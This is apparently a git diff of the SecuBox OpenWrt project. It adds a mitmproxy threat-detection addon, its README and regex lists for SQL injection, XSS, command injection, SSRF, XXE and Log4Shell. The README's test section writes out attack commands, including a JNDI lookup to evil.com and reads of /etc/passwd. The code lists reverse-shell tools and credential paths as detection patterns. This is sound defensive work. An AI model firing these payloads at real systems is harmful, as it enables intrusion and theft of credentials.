"filename": "secubox-app-ollama_0.1.0-r1_all.ipk",
|
||||
"size": 5742,
|
||||
"size": 5734,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -822,7 +846,7 @@
|
||||
"name": "secubox-app-picobrew",
|
||||
"version": "1.0.0-r7",
|
||||
"filename": "secubox-app-picobrew_1.0.0-r7_all.ipk",
|
||||
"size": 5539,
|
||||
"size": 5541,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -834,7 +858,7 @@
|
||||
"name": "secubox-app-streamlit",
|
||||
"version": "1.0.0-r5",
|
||||
"filename": "secubox-app-streamlit_1.0.0-r5_all.ipk",
|
||||
"size": 11719,
|
||||
"size": 11718,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -880,9 +904,9 @@
|
||||
,
|
||||
{
|
||||
"name": "secubox-core",
|
||||
"version": "0.10.0-r9",
|
||||
"filename": "secubox-core_0.10.0-r9_all.ipk",
|
||||
"size": 80068,
|
||||
"version": "0.10.0-r11",
|
||||
"filename": "secubox-core_0.10.0-r11_all.ipk",
|
||||
"size": 87807,
|
||||
"category": "system",
|
||||
"icon": "box",
|
||||
"description": "SecuBox core components",
|
||||
@ -894,7 +918,7 @@
|
||||
"name": "secubox-p2p",
|
||||
"version": "0.6.0-r1",
|
||||
"filename": "secubox-p2p_0.6.0-r1_all.ipk",
|
||||
"size": 40190,
|
||||
"size": 40189,
|
||||
"category": "utility",
|
||||
"icon": "package",
|
||||
"description": "SecuBox package",
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@ -1,8 +1,8 @@
|
||||
include $(TOPDIR)/rules.mk
|
||||
|
||||
PKG_NAME:=secubox-app-mitmproxy
|
||||
PKG_RELEASE:=16
|
||||
PKG_VERSION:=0.4.0
|
||||
PKG_RELEASE:=17
|
||||
PKG_VERSION:=0.5.0
|
||||
PKG_ARCH:=all
|
||||
PKG_MAINTAINER:=CyberMind Studio <contact@cybermind.fr>
|
||||
PKG_LICENSE:=Apache-2.0
|
||||
@ -26,6 +26,12 @@ Features:
|
||||
- Modify requests and responses on the fly
|
||||
- Web interface (mitmweb) for easy analysis
|
||||
- Export traffic for offline analysis
|
||||
- Enhanced threat detection addon (v2.0):
|
||||
* SQL injection, XSS, command injection
|
||||
* Path traversal, SSRF, XXE, LDAP injection
|
||||
* Log4Shell and known CVE detection
|
||||
* Rate limiting and suspicious header detection
|
||||
* CrowdSec integration for blocking
|
||||
|
||||
Runs in LXC container for isolation and security.
|
||||
Configure in /etc/config/mitmproxy.
|
||||
@ -47,6 +53,10 @@ define Package/secubox-app-mitmproxy/install
|
||||
|
||||
$(INSTALL_DIR) $(1)/usr/sbin
|
||||
$(INSTALL_BIN) ./files/usr/sbin/mitmproxyctl $(1)/usr/sbin/mitmproxyctl
|
||||
|
||||
# Analytics addon for threat detection
|
||||
$(INSTALL_DIR) $(1)/srv/mitmproxy/addons
|
||||
$(INSTALL_DATA) ./root/srv/mitmproxy/addons/secubox_analytics.py $(1)/srv/mitmproxy/addons/
|
||||
endef
|
||||
|
||||
define Package/secubox-app-mitmproxy/postinst
|
||||
|
||||
@ -0,0 +1,223 @@
|
||||
# SecuBox Analytics Addon v2.0
|
||||
|
||||
Advanced threat detection addon for mitmproxy with CrowdSec integration.
|
||||
|
||||
## Features
|
||||
|
||||
### Threat Detection Categories
|
||||
|
||||
| Category | Patterns | Severity | Description |
|
||||
|----------|----------|----------|-------------|
|
||||
| **Path Scans** | 50+ | Medium | Config files, admin panels, backups, web shells |
|
||||
| **SQL Injection** | 25+ | Critical | Classic, blind, error-based, hex/char encoding |
|
||||
| **XSS** | 30+ | High | Script tags, event handlers, DOM manipulation |
|
||||
| **Command Injection** | 20+ | Critical | Shell commands, code execution, reverse shells |
|
||||
| **Path Traversal** | 12+ | High | Directory traversal, encoding bypass |
|
||||
| **SSRF** | 10+ | High | Internal IP targeting, cloud metadata |
|
||||
| **XXE** | 8+ | Critical | XML external entity injection |
|
||||
| **LDAP Injection** | 10+ | High | LDAP query manipulation |
|
||||
| **Log4Shell** | 7+ | Critical | JNDI/Log4j (CVE-2021-44228) |
|
||||
|
||||
### Known CVE Detection
|
||||
|
||||
- **CVE-2021-44228** - Log4Shell (JNDI injection)
|
||||
- **CVE-2021-41773/42013** - Apache path traversal
|
||||
- **CVE-2022-22963** - Spring Cloud Function RCE
|
||||
- **CVE-2022-22965** - Spring4Shell
|
||||
- **CVE-2023-34362** - MOVEit Transfer
|
||||
- **CVE-2024-3400** - PAN-OS GlobalProtect
|
||||
|
||||
### Additional Features
|
||||
|
||||
- **Rate Limiting**: Detects request flooding (100 req/60s threshold)
|
||||
- **Suspicious Headers**: Identifies attack tool fingerprints
|
||||
- **Bot Detection**: 40+ scanner/bot signatures
|
||||
- **GeoIP**: Country-based tracking (requires MaxMind DB)
|
||||
- **Client Fingerprinting**: MD5 hash of browser characteristics
|
||||
|
||||
## Output Files
|
||||
|
||||
| File | Description |
|
||||
|------|-------------|
|
||||
| `/var/log/secubox-access.log` | Full access log (JSON lines) |
|
||||
| `/var/log/crowdsec/secubox-mitm.log` | CrowdSec-compatible threat log |
|
||||
| `/tmp/secubox-mitm-alerts.json` | Last 100 security alerts |
|
||||
| `/tmp/secubox-mitm-stats.json` | Real-time statistics |
|
||||
|
||||
## Log Format
|
||||
|
||||
### Access Log Entry
|
||||
```json
|
||||
{
|
||||
"timestamp": "2026-01-31T15:30:00Z",
|
||||
"client_ip": "203.0.113.50",
|
||||
"country": "CN",
|
||||
"method": "GET",
|
||||
"host": "example.com",
|
||||
"path": "/admin/../../../etc/passwd",
|
||||
"scan": {
|
||||
"is_scan": true,
|
||||
"pattern": "path_traversal",
|
||||
"type": "traversal",
|
||||
"severity": "high",
|
||||
"category": "file_access"
|
||||
},
|
||||
"client": {
|
||||
"fingerprint": "a1b2c3d4e5f6",
|
||||
"user_agent": "Mozilla/5.0...",
|
||||
"is_bot": false,
|
||||
"device": "linux"
|
||||
},
|
||||
"rate_limit": {
|
||||
"is_limited": false,
|
||||
"count": 15
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### CrowdSec Log Entry
|
||||
```json
|
||||
{
|
||||
"timestamp": "2026-01-31T15:30:00Z",
|
||||
"source_ip": "203.0.113.50",
|
||||
"country": "CN",
|
||||
"request": "GET /admin/../../../etc/passwd",
|
||||
"type": "traversal",
|
||||
"pattern": "path_traversal",
|
||||
"category": "file_access",
|
||||
"severity": "high",
|
||||
"cve": "",
|
||||
"is_bot": false,
|
||||
"rate_limited": false
|
||||
}
|
||||
```
|
||||
|
||||
## CrowdSec Integration
|
||||
|
||||
### Custom Parser
|
||||
|
||||
Create `/etc/crowdsec/parsers/s02-enrich/secubox-mitm.yaml`:
|
||||
|
||||
```yaml
|
||||
name: secubox/secubox-mitm
|
||||
description: "Parse SecuBox MITM threat logs"
|
||||
filter: "evt.Parsed.program == 'secubox-mitm'"
|
||||
onsuccess: next_stage
|
||||
nodes:
|
||||
- grok:
|
||||
pattern: '%{GREEDYDATA:json_log}'
|
||||
apply_on: message
|
||||
- statics:
|
||||
- parsed: source_ip
|
||||
expression: JsonExtract(evt.Parsed.json_log, "source_ip")
|
||||
- parsed: type
|
||||
expression: JsonExtract(evt.Parsed.json_log, "type")
|
||||
- parsed: severity
|
||||
expression: JsonExtract(evt.Parsed.json_log, "severity")
|
||||
- parsed: pattern
|
||||
expression: JsonExtract(evt.Parsed.json_log, "pattern")
|
||||
- meta: source_ip
|
||||
expression: evt.Parsed.source_ip
|
||||
```
|
||||
|
||||
### Custom Scenario
|
||||
|
||||
Create `/etc/crowdsec/scenarios/secubox-mitm-threats.yaml`:
|
||||
|
||||
```yaml
|
||||
type: trigger
|
||||
name: secubox/mitm-critical-threat
|
||||
description: "Block critical threats detected by SecuBox MITM"
|
||||
filter: evt.Parsed.severity == "critical"
|
||||
groupby: evt.Parsed.source_ip
|
||||
blackhole: 5m
|
||||
labels:
|
||||
type: scan
|
||||
service: http
|
||||
remediation: true
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
### Enable in mitmproxy
|
||||
|
||||
```bash
|
||||
# Run with addon
|
||||
mitmdump -s /srv/mitmproxy/addons/secubox_analytics.py
|
||||
|
||||
# Or in mitmweb
|
||||
mitmweb -s /srv/mitmproxy/addons/secubox_analytics.py
|
||||
```
|
||||
|
||||
### View Real-time Stats
|
||||
|
||||
```bash
|
||||
# Watch stats file
|
||||
watch -n 5 'cat /tmp/secubox-mitm-stats.json | jq'
|
||||
|
||||
# View recent alerts
|
||||
cat /tmp/secubox-mitm-alerts.json | jq '.[-5:]'
|
||||
|
||||
# Tail CrowdSec log
|
||||
tail -f /var/log/crowdsec/secubox-mitm.log | jq
|
||||
```
|
||||
|
||||
### Test Detection
|
||||
|
||||
```bash
|
||||
# SQL Injection
|
||||
curl "http://target/page?id=1'+OR+'1'='1"
|
||||
|
||||
# XSS
|
||||
curl "http://target/search?q=<script>alert(1)</script>"
|
||||
|
||||
# Path Traversal
|
||||
curl "http://target/../../../etc/passwd"
|
||||
|
||||
# Log4Shell
|
||||
curl -H "X-Api-Token: \${jndi:ldap://evil.com/a}" http://target/
|
||||
|
||||
# Command Injection
|
||||
curl "http://target/ping?host=127.0.0.1;cat+/etc/passwd"
|
||||
```
|
||||
|
||||
## Configuration
|
||||
|
||||
### Rate Limiting
|
||||
|
||||
Modify in `secubox_analytics.py`:
|
||||
|
||||
```python
|
||||
# Default: 100 requests per 60 seconds
|
||||
rate_limit = self._check_rate_limit(source_ip, window_seconds=60, max_requests=100)
|
||||
```
|
||||
|
||||
### GeoIP Database
|
||||
|
||||
Download MaxMind GeoLite2:
|
||||
|
||||
```bash
|
||||
# Place database at:
|
||||
/srv/mitmproxy/GeoLite2-Country.mmdb
|
||||
```
|
||||
|
||||
## Severity Levels
|
||||
|
||||
| Level | Action | Examples |
|
||||
|-------|--------|----------|
|
||||
| **Critical** | Immediate alert | SQL injection, Command injection, Log4Shell, XXE |
|
||||
| **High** | Alert + Log | XSS, Path traversal, SSRF, LDAP injection |
|
||||
| **Medium** | Log only | Path scans, Bot detection, Config file access |
|
||||
| **Low** | Stats only | Rate limiting, Suspicious headers |
|
||||
|
||||
## Bot Signatures
|
||||
|
||||
Detected scanners and tools:
|
||||
- Security: Nmap, Nikto, Nuclei, SQLMap, Burp Suite, OWASP ZAP
|
||||
- Crawlers: zgrab, masscan, gobuster, ffuf, feroxbuster
|
||||
- HTTP Clients: curl, wget, python-requests, go-http-client
|
||||
- Bad Bots: AhrefsBot, SemrushBot, MJ12bot, etc.
|
||||
|
||||
## License
|
||||
|
||||
Apache 2.0 - Part of SecuBox OpenWrt
|
||||
@ -1,8 +1,9 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
SecuBox Analytics Addon for mitmproxy
|
||||
Advanced threat detection with comprehensive pattern matching
|
||||
Logs external access attempts with IP, country, user agent, auth attempts, scan detection
|
||||
Feeds data to CrowdSec for threat detection
|
||||
Feeds data to CrowdSec for threat detection and blocking
|
||||
"""
|
||||
|
||||
import json
|
||||
@ -11,6 +12,7 @@ import re
|
||||
import hashlib
|
||||
import os
|
||||
from datetime import datetime
|
||||
from collections import defaultdict
|
||||
from mitmproxy import http, ctx
|
||||
from pathlib import Path
|
||||
|
||||
@ -19,32 +21,211 @@ GEOIP_DB = "/srv/mitmproxy/GeoLite2-Country.mmdb"
|
||||
LOG_FILE = "/var/log/secubox-access.log"
|
||||
CROWDSEC_LOG = "/var/log/crowdsec/secubox-mitm.log"
|
||||
ALERTS_FILE = "/tmp/secubox-mitm-alerts.json"
|
||||
STATS_FILE = "/tmp/secubox-mitm-stats.json"
|
||||
|
||||
# Suspicious patterns
|
||||
SCAN_PATTERNS = [
|
||||
r'/\.env', r'/\.git', r'/wp-admin', r'/wp-login', r'/phpmyadmin',
|
||||
r'/admin', r'/administrator', r'/xmlrpc\.php', r'/wp-content/uploads',
|
||||
r'/\.aws', r'/\.ssh', r'/config\.php', r'/backup', r'/db\.sql',
|
||||
r'/shell', r'/cmd', r'/exec', r'/eval', r'\.\./', r'/etc/passwd',
|
||||
r'/proc/self', r'<script', r'union\s+select', r';\s*drop\s+table',
|
||||
# ============================================================================
|
||||
# THREAT DETECTION PATTERNS
|
||||
# ============================================================================
|
||||
|
||||
# Path-based scan patterns (config files, admin panels, sensitive paths)
|
||||
PATH_SCAN_PATTERNS = [
|
||||
# Configuration files
|
||||
r'/\.env', r'/\.git', r'/\.svn', r'/\.hg', r'/\.htaccess', r'/\.htpasswd',
|
||||
r'/\.aws', r'/\.ssh', r'/\.bash_history', r'/\.bashrc', r'/\.profile',
|
||||
r'/config\.php', r'/config\.yml', r'/config\.json', r'/settings\.py',
|
||||
r'/application\.properties', r'/database\.yml', r'/secrets\.yml',
|
||||
r'/web\.config', r'/appsettings\.json', r'/\.dockerenv', r'/Dockerfile',
|
||||
r'/docker-compose\.yml', r'/\.kube/config', r'/\.kubernetes',
|
||||
|
||||
# Backup files
|
||||
r'/backup', r'\.bak$', r'\.old$', r'\.orig$', r'\.save$', r'\.swp$',
|
||||
r'/db\.sql', r'\.sql\.gz$', r'/dump\.sql', r'/database\.sql',
|
||||
r'\.tar\.gz$', r'\.zip$', r'\.rar$',
|
||||
|
||||
# Admin panels
|
||||
r'/wp-admin', r'/wp-login', r'/wp-includes', r'/wp-content',
|
||||
r'/phpmyadmin', r'/pma', r'/adminer', r'/mysql', r'/myadmin',
|
||||
r'/admin', r'/administrator', r'/manager', r'/cpanel', r'/webmail',
|
||||
r'/cgi-bin', r'/fcgi-bin', r'/server-status', r'/server-info',
|
||||
|
||||
# Web shells / backdoors
|
||||
r'/shell', r'/cmd', r'/c99', r'/r57', r'/b374k', r'/weevely',
|
||||
r'/webshell', r'/backdoor', r'/hack', r'/pwn', r'/exploit',
|
||||
r'\.php\d?$.*\?', r'/upload\.php', r'/file\.php', r'/image\.php',
|
||||
|
||||
# Sensitive system paths
|
||||
r'/etc/passwd', r'/etc/shadow', r'/etc/hosts', r'/etc/issue',
|
||||
r'/proc/self', r'/proc/version', r'/proc/cmdline',
|
||||
r'/var/log', r'/var/www', r'/tmp/', r'/dev/null',
|
||||
r'/windows/system32', r'/boot\.ini', r'/win\.ini',
|
||||
]
|
||||
|
||||
# SQL Injection patterns
|
||||
SQL_INJECTION_PATTERNS = [
|
||||
# Classic SQL injection
|
||||
r"['\"](\s*|\+)or(\s*|\+)['\"]?\d", r"['\"](\s*|\+)or(\s*|\+)['\"]?['\"]",
|
||||
r"['\"](\s*|\+)and(\s*|\+)['\"]?\d", r"union(\s+|\+)select",
|
||||
r"union(\s+|\+)all(\s+|\+)select", r"select(\s+|\+).+(\s+|\+)from",
|
||||
r"insert(\s+|\+)into", r"update(\s+|\+).+(\s+|\+)set",
|
||||
r"delete(\s+|\+)from", r"drop(\s+|\+)(table|database|index)",
|
||||
r"truncate(\s+|\+)table", r"alter(\s+|\+)table",
|
||||
r"exec(\s*|\+)\(", r"execute(\s*|\+)\(",
|
||||
|
||||
# Blind SQL injection
|
||||
r"sleep\s*\(\s*\d+\s*\)", r"benchmark\s*\(", r"waitfor\s+delay",
|
||||
r"pg_sleep", r"dbms_pipe\.receive_message",
|
||||
|
||||
# Error-based SQL injection
|
||||
r"extractvalue\s*\(", r"updatexml\s*\(", r"exp\s*\(~",
|
||||
r"geometrycollection\s*\(", r"multipoint\s*\(",
|
||||
|
||||
# MSSQL specific
|
||||
r"xp_cmdshell", r"sp_executesql", r"openrowset", r"opendatasource",
|
||||
|
||||
# Comment injection
|
||||
r"/\*.*\*/", r"--\s*$", r"#\s*$", r";\s*--",
|
||||
|
||||
# Hex/char encoding
|
||||
r"0x[0-9a-fA-F]+", r"char\s*\(\s*\d+", r"concat\s*\(",
|
||||
]
|
||||
|
||||
# XSS (Cross-Site Scripting) patterns
|
||||
XSS_PATTERNS = [
|
||||
r"<script", r"</script>", r"javascript:", r"vbscript:",
|
||||
r"onerror\s*=", r"onload\s*=", r"onclick\s*=", r"onmouseover\s*=",
|
||||
r"onfocus\s*=", r"onblur\s*=", r"onsubmit\s*=", r"onchange\s*=",
|
||||
r"oninput\s*=", r"onkeyup\s*=", r"onkeydown\s*=", r"onkeypress\s*=",
|
||||
r"<img[^>]+src\s*=", r"<iframe", r"<object", r"<embed", r"<svg",
|
||||
r"<body[^>]+onload", r"<input[^>]+onfocus", r"expression\s*\(",
|
||||
r"url\s*\(\s*['\"]?javascript:", r"<link[^>]+href\s*=\s*['\"]?javascript:",
|
||||
r"document\.cookie", r"document\.location", r"document\.write",
|
||||
r"window\.location", r"eval\s*\(", r"settimeout\s*\(",
|
||||
r"setinterval\s*\(", r"new\s+function\s*\(",
|
||||
]
|
||||
|
||||
# Command Injection patterns
|
||||
CMD_INJECTION_PATTERNS = [
|
||||
r";\s*cat\s", r";\s*ls\s", r";\s*id\s*;?", r";\s*whoami",
|
||||
r";\s*uname", r";\s*pwd\s*;?", r";\s*wget\s", r";\s*curl\s",
|
||||
r"\|\s*cat\s", r"\|\s*ls\s", r"\|\s*id\s", r"\|\s*whoami",
|
||||
r"`[^`]+`", r"\$\([^)]+\)", r"\$\{[^}]+\}",
|
||||
r"&&\s*(cat|ls|id|whoami|uname|pwd|wget|curl)",
|
||||
r"\|\|\s*(cat|ls|id|whoami|uname|pwd)",
|
||||
r"/bin/(sh|bash|dash|zsh|ksh|csh)", r"/usr/bin/(perl|python|ruby|php)",
|
||||
r"nc\s+-[elp]", r"netcat", r"ncat", r"/dev/(tcp|udp)/",
|
||||
r"bash\s+-i", r"python\s+-c", r"perl\s+-e", r"ruby\s+-e",
|
||||
]
|
||||
|
||||
# Path Traversal patterns
|
||||
PATH_TRAVERSAL_PATTERNS = [
|
||||
r"\.\./", r"\.\.\\", r"\.\./\.\./", r"\.\.\\\.\.\\",
|
||||
r"%2e%2e/", r"%2e%2e%2f", r"\.%2e/", r"%2e\./",
|
||||
r"\.\.%5c", r"%252e%252e", r"..;/", r"..;\\",
|
||||
r"\.\.%c0%af", r"\.\.%c1%9c", r"%c0%ae%c0%ae",
|
||||
r"file://", r"file:///",
|
||||
]
|
||||
|
||||
# SSRF (Server-Side Request Forgery) patterns
|
||||
SSRF_PATTERNS = [
|
||||
r"(url|uri|path|src|href|redirect|target|link|fetch|load)\s*=\s*['\"]?https?://",
|
||||
r"(url|uri|path|src|href|redirect|target|link|fetch|load)\s*=\s*['\"]?file://",
|
||||
r"(url|uri|path|src|href|redirect|target|link|fetch|load)\s*=\s*['\"]?ftp://",
|
||||
r"(url|uri|path|src|href|redirect|target|link|fetch|load)\s*=\s*['\"]?gopher://",
|
||||
r"(url|uri|path|src|href|redirect|target|link|fetch|load)\s*=\s*['\"]?dict://",
|
||||
r"127\.0\.0\.1", r"localhost", r"0\.0\.0\.0", r"\[::1\]",
|
||||
r"169\.254\.\d+\.\d+", r"10\.\d+\.\d+\.\d+", r"172\.(1[6-9]|2\d|3[01])\.",
|
||||
r"192\.168\.\d+\.\d+", r"metadata\.google", r"instance-data",
|
||||
]
|
||||
|
||||
# XXE (XML External Entity) patterns
|
||||
XXE_PATTERNS = [
|
||||
r"<!DOCTYPE[^>]+\[", r"<!ENTITY", r"SYSTEM\s+['\"]",
|
||||
r"file://", r"expect://", r"php://", r"data://",
|
||||
r"<!DOCTYPE\s+\w+\s+PUBLIC", r"<!DOCTYPE\s+\w+\s+SYSTEM",
|
||||
]
|
||||
|
||||
# LDAP Injection patterns
|
||||
LDAP_INJECTION_PATTERNS = [
|
||||
r"\)\(\|", r"\)\(&", r"\*\)", r"\)\)", r"\(\|", r"\(&",
|
||||
r"[\*\(\)\\\x00]", r"objectclass=\*", r"cn=\*", r"uid=\*",
|
||||
]
|
||||
|
||||
# Log4j / JNDI Injection patterns
|
||||
LOG4J_PATTERNS = [
|
||||
r"\$\{jndi:", r"\$\{lower:", r"\$\{upper:", r"\$\{env:",
|
||||
r"\$\{sys:", r"\$\{java:", r"\$\{base64:",
|
||||
r"ldap://", r"ldaps://", r"rmi://", r"dns://", r"iiop://",
|
||||
]
|
||||
|
||||
AUTH_PATHS = [
|
||||
'/login', '/signin', '/auth', '/api/auth', '/oauth', '/token',
|
||||
'/session', '/cgi-bin/luci', '/admin'
|
||||
'/session', '/cgi-bin/luci', '/admin', '/authenticate',
|
||||
'/api/login', '/api/signin', '/api/token', '/api/session',
|
||||
'/user/login', '/account/login', '/wp-login.php',
|
||||
'/j_security_check', '/j_spring_security_check',
|
||||
'/.well-known/openid-configuration', '/oauth2/authorize',
|
||||
]
|
||||
|
||||
# Bot and scanner signatures
|
||||
BOT_SIGNATURES = [
|
||||
'bot', 'crawler', 'spider', 'scan', 'curl', 'wget', 'python-requests',
|
||||
'go-http-client', 'java/', 'zgrab', 'masscan', 'nmap', 'nikto'
|
||||
# Generic bots
|
||||
'bot', 'crawler', 'spider', 'scraper', 'scan',
|
||||
# HTTP clients
|
||||
'curl', 'wget', 'python-requests', 'python-urllib', 'httpx',
|
||||
'go-http-client', 'java/', 'axios', 'node-fetch', 'got/',
|
||||
'okhttp', 'apache-httpclient', 'guzzlehttp', 'libwww-perl',
|
||||
# Security scanners
|
||||
'zgrab', 'masscan', 'nmap', 'nikto', 'nuclei', 'sqlmap',
|
||||
'dirb', 'dirbuster', 'gobuster', 'ffuf', 'wfuzz', 'feroxbuster',
|
||||
'burpsuite', 'owasp', 'acunetix', 'nessus', 'qualys', 'openvas',
|
||||
'w3af', 'arachni', 'skipfish', 'vega', 'zap', 'appscan',
|
||||
'webinspect', 'metasploit', 'hydra', 'medusa',
|
||||
# Known bad bots
|
||||
'ahrefsbot', 'semrushbot', 'dotbot', 'mj12bot', 'blexbot',
|
||||
'seznambot', 'yandexbot', 'baiduspider', 'sogou',
|
||||
# Empty or suspicious UAs
|
||||
'-', '', 'mozilla/4.0', 'mozilla/5.0',
|
||||
]
|
||||
|
||||
# Suspicious headers indicating attack tools
|
||||
SUSPICIOUS_HEADERS = {
|
||||
'x-forwarded-for': [r'\d+\.\d+\.\d+\.\d+.*,.*,.*,'], # Multiple proxies
|
||||
'x-originating-ip': [r'.+'], # Often used by attackers
|
||||
'x-remote-ip': [r'.+'],
|
||||
'x-remote-addr': [r'.+'],
|
||||
'client-ip': [r'.+'],
|
||||
'true-client-ip': [r'.+'],
|
||||
'x-cluster-client-ip': [r'.+'],
|
||||
'x-client-ip': [r'.+'],
|
||||
'forwarded': [r'for=.+;.+;.+'], # Multiple forwards
|
||||
}
|
||||
|
||||
# Known vulnerability paths (CVE-specific)
|
||||
CVE_PATTERNS = {
|
||||
# CVE-2021-44228 (Log4Shell)
|
||||
'log4shell': [r'\$\{jndi:', r'\$\{env:', r'\$\{lower:', r'\$\{upper:'],
|
||||
# CVE-2021-41773 / CVE-2021-42013 (Apache path traversal)
|
||||
'apache_traversal': [r'\.%2e/', r'%2e\./', r'\.\.%00', r'cgi-bin/\.%2e/'],
|
||||
# CVE-2022-22963 (Spring Cloud Function)
|
||||
'spring_cloud': [r'spring\.cloud\.function\.routing-expression:'],
|
||||
# CVE-2022-22965 (Spring4Shell)
|
||||
'spring4shell': [r'class\.module\.classLoader'],
|
||||
# CVE-2023-34362 (MOVEit)
|
||||
'moveit': [r'machine2\.aspx.*\?', r'/guestaccess\.aspx'],
|
||||
# CVE-2024-3400 (PAN-OS)
|
||||
'panos': [r'/global-protect/.*\.css\?'],
|
||||
}
|
||||
|
||||
class SecuBoxAnalytics:
|
||||
def __init__(self):
|
||||
self.geoip = None
|
||||
self.alerts = []
|
||||
self.stats = defaultdict(lambda: defaultdict(int))
|
||||
self.ip_request_count = defaultdict(list) # For rate limiting
|
||||
self.blocked_ips = set()
|
||||
self._load_geoip()
|
||||
ctx.log.info("SecuBox Analytics addon loaded")
|
||||
self._load_blocked_ips()
|
||||
ctx.log.info("SecuBox Analytics addon v2.0 loaded - Enhanced threat detection")
|
||||
|
||||
def _load_geoip(self):
|
||||
"""Load GeoIP database if available"""
|
||||
@ -58,6 +239,17 @@ class SecuBoxAnalytics:
|
||||
except Exception as e:
|
||||
ctx.log.warn(f"Failed to load GeoIP: {e}")
|
||||
|
||||
def _load_blocked_ips(self):
|
||||
"""Load blocked IPs from CrowdSec decisions"""
|
||||
try:
|
||||
# Read CrowdSec local API decisions
|
||||
decisions_file = "/var/lib/crowdsec/data/crowdsec.db"
|
||||
if os.path.exists(decisions_file):
|
||||
# Just track that file exists - actual blocking via CrowdSec bouncer
|
||||
ctx.log.info("CrowdSec decisions database found")
|
||||
except Exception as e:
|
||||
ctx.log.debug(f"Could not load blocked IPs: {e}")
|
||||
|
||||
def _get_country(self, ip: str) -> str:
|
||||
"""Get country code from IP"""
|
||||
if not self.geoip or ip.startswith(('10.', '172.16.', '192.168.', '127.')):
|
||||
@ -103,25 +295,173 @@ class SecuBoxAnalytics:
|
||||
}
|
||||
|
||||
def _detect_scan(self, request: http.Request) -> dict:
|
||||
"""Detect scan/attack patterns"""
|
||||
"""Comprehensive threat detection with categorized patterns"""
|
||||
path = request.path.lower()
|
||||
full_url = request.pretty_url.lower()
|
||||
query = request.query
|
||||
body = request.content.decode('utf-8', errors='ignore').lower() if request.content else ''
|
||||
|
||||
for pattern in SCAN_PATTERNS:
|
||||
# Build combined search string
|
||||
search_targets = [path, full_url, body]
|
||||
if query:
|
||||
search_targets.extend([str(v) for v in query.values()])
|
||||
|
||||
combined = ' '.join(search_targets)
|
||||
threats = []
|
||||
|
||||
# Check path-based scans
|
||||
for pattern in PATH_SCAN_PATTERNS:
|
||||
if re.search(pattern, path, re.IGNORECASE):
|
||||
return {'is_scan': True, 'pattern': pattern, 'type': 'path_scan'}
|
||||
if re.search(pattern, full_url, re.IGNORECASE):
|
||||
return {'is_scan': True, 'pattern': pattern, 'type': 'url_scan'}
|
||||
return {
|
||||
'is_scan': True, 'pattern': pattern, 'type': 'path_scan',
|
||||
'severity': 'medium', 'category': 'reconnaissance'
|
||||
}
|
||||
|
||||
# Check for SQL injection
|
||||
if re.search(r"['\";\-\-]|union|select|insert|drop|update|delete", full_url, re.I):
|
||||
return {'is_scan': True, 'pattern': 'sql_injection', 'type': 'injection'}
|
||||
# Check SQL Injection
|
||||
for pattern in SQL_INJECTION_PATTERNS:
|
||||
if re.search(pattern, combined, re.IGNORECASE):
|
||||
return {
|
||||
'is_scan': True, 'pattern': 'sql_injection', 'type': 'injection',
|
||||
'severity': 'critical', 'category': 'injection',
|
||||
'matched_pattern': pattern[:50]
|
||||
}
|
||||
|
||||
# Check for XSS
|
||||
if re.search(r"<script|javascript:|onerror=|onload=", full_url, re.I):
|
||||
return {'is_scan': True, 'pattern': 'xss', 'type': 'injection'}
|
||||
# Check XSS
|
||||
for pattern in XSS_PATTERNS:
|
||||
if re.search(pattern, combined, re.IGNORECASE):
|
||||
return {
|
||||
'is_scan': True, 'pattern': 'xss', 'type': 'injection',
|
||||
'severity': 'high', 'category': 'injection',
|
||||
'matched_pattern': pattern[:50]
|
||||
}
|
||||
|
||||
return {'is_scan': False, 'pattern': None, 'type': None}
|
||||
# Check Command Injection
|
||||
for pattern in CMD_INJECTION_PATTERNS:
|
||||
if re.search(pattern, combined, re.IGNORECASE):
|
||||
return {
|
||||
'is_scan': True, 'pattern': 'command_injection', 'type': 'injection',
|
||||
'severity': 'critical', 'category': 'injection',
|
||||
'matched_pattern': pattern[:50]
|
||||
}
|
||||
|
||||
# Check Path Traversal
|
||||
for pattern in PATH_TRAVERSAL_PATTERNS:
|
||||
if re.search(pattern, combined, re.IGNORECASE):
|
||||
return {
|
||||
'is_scan': True, 'pattern': 'path_traversal', 'type': 'traversal',
|
||||
'severity': 'high', 'category': 'file_access'
|
||||
}
|
||||
|
||||
# Check SSRF
|
||||
for pattern in SSRF_PATTERNS:
|
||||
if re.search(pattern, combined, re.IGNORECASE):
|
||||
return {
|
||||
'is_scan': True, 'pattern': 'ssrf', 'type': 'ssrf',
|
||||
'severity': 'high', 'category': 'server_side'
|
||||
}
|
||||
|
||||
# Check XXE (in body/headers for XML)
|
||||
content_type = request.headers.get('content-type', '').lower()
|
||||
if 'xml' in content_type or body.startswith('<?xml'):
|
||||
for pattern in XXE_PATTERNS:
|
||||
if re.search(pattern, body, re.IGNORECASE):
|
||||
return {
|
